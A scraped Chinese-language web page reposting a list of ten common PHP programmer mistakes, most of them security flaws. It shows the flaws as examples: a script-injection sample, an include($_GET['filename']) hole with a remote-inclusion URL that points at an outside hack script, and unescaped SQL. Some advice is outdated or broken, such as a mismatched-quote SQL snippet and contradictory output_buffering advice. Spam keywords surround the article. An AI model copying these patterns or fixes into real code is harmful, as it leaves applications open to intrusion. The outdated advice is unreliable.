国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發 > PHP > 正文

php 程序員常犯錯誤總結

2024-05-04 21:58:54
字體:
來源:轉載
供稿:網友

1.不轉意html entities

一個基本的常識:所有不可信任的輸入(特別是用戶從form中提交的數據),輸出之前都要轉意.

echo $_GET['usename'] ;

這個例子有可能輸出:

<script>/*更改admin密碼的腳本或設置cookie的腳本*/</script>

這是一個明顯的安全隱患,除非你保證你的用戶都正確的輸入.

如何修復:我們需要將"< ",">","and" 等轉換成正確的HTML表示(< , >', and "),函數htmlspecialchars 和 htmlentities()正是干這個活的.

正確的方法:echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. 不轉意SQL輸入

我曾經在一篇文章中最簡單的防止sql注入的方法(php+mysql中)討論過這個問題并給出了一個簡單的方法,有人對我說,他們已經在php.ini中將magic_quotes設置為On,所以不必擔心這個問題,但是不是所有的輸入都是從$_GET,$_POST或 $_COOKIE中的得到的.

如何修復:和在最簡單的防止sql注入的方法(php+mysql中)中一樣我還是推薦使用mysql_real_escape_string()函數,正確做法:

  1. <?php 
  2. $sql = "UPDATE users SET 
  3. name='.mysql_real_escape_string($name).' 
  4. WHERE id='.mysql_real_escape_string ($id).'"; 
  5. mysql_query($sql); 
  6. ?> 

3.錯誤的使用HTTP-header 相關的函數:header(),session_start(),setcookie()

遇到過這個警告嗎?"warning: Cannot add header information - headers already sent [....]

每次從服務器下載一個網頁的時候,服務器的輸出都分成兩個部分:頭部和正文。

頭部包含了一些非可視的數據,例如cookie,頭部總是先到達,正文部分包括可視的html,圖片等數據.

如果output_buffering設置為Off,所有的HTTP-header相關的函數必須在有輸出之前調用,問題在于你在一個環境中開發,而在部署到另一個環境中去的時候,output_buffering的設置可能不一樣,結果轉向停止了,cookie和session都沒有正確的設置........。

如何修復:確保在輸出之前調用http-header相關的函數,并且令output_buffering = Off

4. Require 或 include 的文件使用不安全的數據

再次強調:不要相信不是你自己顯式聲明的數據,不要 Include 或 require 從$_GET,$_POST 或 $_COOKIE 中得到的文件.例如:index.php

  1. <?php 
  2. //including header, config, database connection, etc 
  3. include($_GET['filename']); 
  4. //including footer 
  5. ?> 

現在任一個黑客現在都可以用:http://m.survivalescaperooms.com/index.php?filename=anyfile.txt 來獲取你的機密信息,或執行一個PHP腳本.

如果allow_url_fopen=On,你更是死定了,試試這個輸入:

http://m.survivalescaperooms.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

現在你的網頁中包含了http://m.survivalescaperooms.com/phphack.php的輸出,黑客可以發送垃圾郵件,改變密碼,刪除文件等等,只要你能想得到.

如何修復:你必須自己控制哪些文件可以包含在的include或require指令中,下面是一個快速但不全面的解決方法:

  1. <?php 
  2. //Include only files that are allowed. 
  3. $allowedFiles = array('file1.txt','file2.txt','file3.txt'); 
  4. if(in_array((string)$_GET['filename'],$allowedFiles)) { 
  5. include($_GET['filename']); 
  6. else
  7. exit('not allowed'); 
  8. ?> 

5. 語法錯誤

語法錯誤包括所有的詞法和語法錯誤,太常見了,以至于我不得不在這里列出,解決辦法就是認真學習PHP的語法,仔細一點不要漏掉一個括號,大括號,分號,引號,還有就是換個好的編輯器,就不要用記事本了.

6.很少使用或不用面向對象

很多的項目都沒有使用PHP的面向對象技術,結果就是代碼的維護變得非常耗時耗力,PHP支持的面向對象技術越來越多,越來越好,我們沒有理由不使用面向對象.

7. 不使用framework

95% 的PHP項目都在做同樣的四件事:Create, edit, list 和delete,現在有很多MVC的框架來幫我們完成這四件事,我們為何不使用他們呢?

8. 不知道PHP中已經有的功能

PHP的核心包含很多功能,很多程序員重復的發明輪子,浪費了大量時間,編碼之前搜索一下PHP mamual,在google上檢索一下,也許會有新的發現,PHP中的exec()是一個強大的函數,可以執行cmd shell,并把執行結果的最后一行以字符串的形式返回,考慮到安全可以使用EscapeShellCmd()

9.使用舊版本的PHP

很多程序員還在使用PHP4,在PHP4上開發不能充分發揮PHP的潛能,還存在一些安全的隱患。轉到PHP5上來吧,并不費很多功夫。大部分PHP4程序只要改動很少的語句甚至無需改動就可以遷移到PHP5上來。根據http://m.survivalescaperooms.com的調查 只有12%的PHP服務器使用PHP5,所以有88%的PHP開發者還在使用PHP4.

10.對引號做兩次轉意

見過網頁中出現'或'"嗎?這通常是因為在開發者的環境中magic_quotes 設置為off,而在部署的服務器上magic_quotes =on. PHP會在 GET, POST 和 COOKIE中的數據上重復運行addslashes() 。

原始文本:

It's a string

magic quotes on :

It's a string

又運行一次

addslashes():

It/'s a string

HTML輸出:It's a string

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 应用必备| 姜堰市| 嫩江县| 调兵山市| 甘德县| 恩施市| 介休市| 克山县| 会宁县| 霍林郭勒市| 花莲市| 信宜市| 永顺县| 慈利县| 怀集县| 如皋市| 涞水县| 马龙县| 西华县| 绍兴县| 怀仁县| 博野县| 泉州市| 波密县| 定州市| 威宁| 徐汇区| 肥城市| 岳阳县| 潜江市| 淮滨县| 滕州市| 涡阳县| 满洲里市| 长海县| 兰考县| 稻城县| 定襄县| 太湖县| 安吉县| 苏州市|